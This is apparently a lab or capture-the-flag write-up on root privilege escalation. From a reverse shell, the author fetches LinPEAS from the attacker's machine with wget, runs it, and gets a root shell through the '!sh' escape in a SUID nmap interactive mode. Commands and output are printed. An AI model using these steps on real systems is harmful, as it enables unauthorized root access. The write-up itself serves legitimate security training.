



Privilege Escalation and Persistence

Overview

With an initial foothold established on the target machine as the daemon user, the next objective was to escalate privileges to root. To assist with enumeration, LinPEAS — a well-known privilege escalation auditing script — was transferred to the victim machine and executed to identify potential escalation vectors.

Transferring LinPEAS to the Victim Machine

LinPEAS was already available on my Kali machine under its default installation path at `/usr/share/peass/linpeas/`. To transfer it to the victim, a lightweight Python HTTP server was started from that directory on the attacker machine, making the script accessible over the local network on port 4444.

From the victim machine's reverse shell session, a `wget` request was issued pointing at the attacker's IP and port, downloading `linpeas.sh` directly into the `/tmp` directory — a world-writable location that does not require elevated permissions to write to. Execute permissions were then granted to the script before running it.

```
daemon@ip-10-49-144-22:/$ cd /tmp
cd /tmp
daemon@ip-10-49-144-22:/tmp$ wget 192.168.148.52:4444/linpeas.sh
wget 192.168.148.52:4444/linpeas.sh
--2026-05-12 14:31:24-- http://192.168.148.52:4444/linpeas.sh
Connecting to 192.168.148.52:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1031313 (1007K) [application/x-sh]
Saving to: 'linpeas.sh'

0K ..... 4% 779K 1s
50K ..... 9% 1.71M 1s
100K ..... 14% 1.75M 1s
150K ..... 19% 1.72M 1s
200K ..... 24% 12.4M 0s
250K ..... 29% 22.0M 0s
300K ..... 34% 1.95M 0s
350K ..... 39% 8.09M 0s
400K ..... 44% 35.2M 0s
450K ..... 49% 40.6M 0s
500K ..... 54% 25.1M 0s
550K ..... 59% 19.0M 0s
600K ..... 64% 2.49M 0s
650K ..... 69% 88.1M 0s
700K ..... 74% 37.1M 0s
750K ..... 79% 12.8M 0s
800K ..... 84% 7.73M 0s
850K ..... 89% 40.8M 0s
900K ..... 94% 3.54M 0s
950K ..... 99% 33.1M 0s
1000K ..... 100% 136226=0.2s

2026-05-12 14:31:25 (4.07 MB/s) - 'linpeas.sh' saved [1031313/1031313]
```

```
(uddip@uddip)-[/usr/share/peass/linpeas]
$ python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.49.144.22 - - [12/May/2026 20:01:24] "GET /linpeas.sh HTTP/1.1" 200 1031313
(uddip@uddip)-[/usr/share/peass/linpeas]
```

Fig 1: Transferring LinPEAS



Running LinPEAS

Once executed, LinPEAS performed a comprehensive audit of the system, scanning for misconfigurations, writable paths, exposed credentials, and notably — binaries with the SUID bit set. Among the findings, LinPEAS highlighted that the **nmap** binary located at **/usr/local/bin/nmap** had the SUID bit enabled and was owned by root. This is a well-known and critical misconfiguration any SUID binary running as root can potentially be abused to spawn a privileged shell.

```
$IncludeConfig /etc/rsyslog.d/*.conf
==|| Auditd configuration (limit 50) (T1070.002)
auditd configuration Not Found
==|| Log files with potentially weak perms (limit 50) (T1070.002)
209 12 -rw-r----- 1 root adm 11151 May 29 2025 /var/log/dmesg.3.gz
133 16 -rw-r----- 1 root adm 12451 May 29 2025 /var/log/dmesg.1.gz
21364 4 -rw-r----- 1 root adm 31 Jun 24 2015 /var/log/fsck/checkfs
21365 4 -rw-r----- 1 root adm 31 Jun 24 2015 /var/log/fsck/checkroot
211 40 -rw-r----- 1 root adm 39972 Jun 2 2025 /var/log/dmesg.0
3582 12 -rw-r----- 1 root adm 11389 May 29 2025 /var/log/apt/term.log.1.gz
536 12 -rw-r----- 1 root adm 11671 May 12 14:14 /var/log/apt/term.log
3617 8 -rw-r----- 1 syslog adm 6990 May 12 14:30 /var/log/ufw.log
3589 336 -rw-r----- 1 syslog adm 342007 Jun 2 2025 /var/log/syslog.2.gz
3600 8 -rw-r----- 1 syslog adm 5695 Jun 2 2025 /var/log/auth.log.2.gz
656601 184 -rw-r----- 1 root adm 186430 May 29 2025 /var/log/dist-upgrade/20250529-1650/apt-term.log
652463 212 -rw-r----- 1 root adm 213679 May 29 2025 /var/log/dist-upgrade/20250529-1659/apt-term.log
652447 208 -rw-r----- 1 root adm 211887 May 29 2025 /var/log/dist-upgrade/apt-term.log
3611 140 -rw-r----- 1 syslog adm 142674 May 12 14:10 /var/log/syslog.1
199 12 -rw-r----- 1 root adm 10784 May 29 2025 /var/log/dmesg.2.gz
22204 292 -rw-r----- 1 syslog adm 293971 May 29 2025 /var/log/ufw.log.1
3614 4 -rw-r----- 1 syslog adm 3827 May 12 14:10 /var/log/auth.log.1
3613 52 -rw-r----- 1 syslog adm 52339 May 12 14:10 /var/log/kern.log.1
210 12 -rw-r----- 1 root adm 11131 May 29 2025 /var/log/dmesg.4.gz
20727 32 -rw-r----- 1 root adm 25357 May 12 14:10 /var/log/monit.log
4124 8 -rw-r----- 1 syslog adm 7048 May 12 14:36 /var/log/auth.log
3591 244 -rw-r----- 1 syslog adm 247294 Jun 2 2025 /var/log/kern.log.2.gz
188 40 -rw-r----- 1 root adm 38065 May 12 14:10 /var/log/cloud-init-output.log
3894 12 -rw-r----- 1 syslog adm 8612 May 12 14:30 /var/log/kern.log
165 256 -rw-r----- 1 syslog adm 262071 May 12 14:10 /var/log/cloud-init.log
198 44 -rw-r----- 1 root adm 40968 May 12 14:10 /var/log/dmesg
3643 4 -rw-r----- 1 root adm 568 May 12 14:15 /var/log/vsftpd.log
3587 108 -rw-r----- 1 syslog adm 109999 May 12 14:36 /var/log/syslog
```

Fig 2: Files with weak permission

```
==|| Last time logon each user (T1033)
Username Port From Latest
root pts/0 10.23.8.228 Mon Jun 2 18:16:33 +0000 2025
bitnamiftpt tty1 Fri Nov 13 01:15:03 +0000 2015
robot tty1 Fri Nov 13 23:50:42 +0000 2015
ubuntu pts/0 10.23.8.228 Mon Jun 2 18:16:41 +0000 2025
```

Fig 3: Username



Exploiting SUID nmap for Root Shell

The version of nmap present on the system was 3.81 has an older release that ships with an interactive mode feature. When a binary with the SUID bit set is executed, it inherits the permissions of its owner in this case, root. The interactive mode in this version of nmap allows direct shell command execution, meaning any command issued through it runs with root-level privileges.

Nmap's interactive mode was launched directly from the shell. Once inside the interactive prompt, a shell escape was issued using **!sh**, which spawned a new shell inheriting the effective UID of the binary's owner —root. Running **whoami** immediately confirmed full root access had been achieved.

```
daemon@ip-10-49-144-22:/$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/sh
sh: 1: !/bin/sh: not found
nmap> !sh
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(daemon)
```

Fig 4: Root Access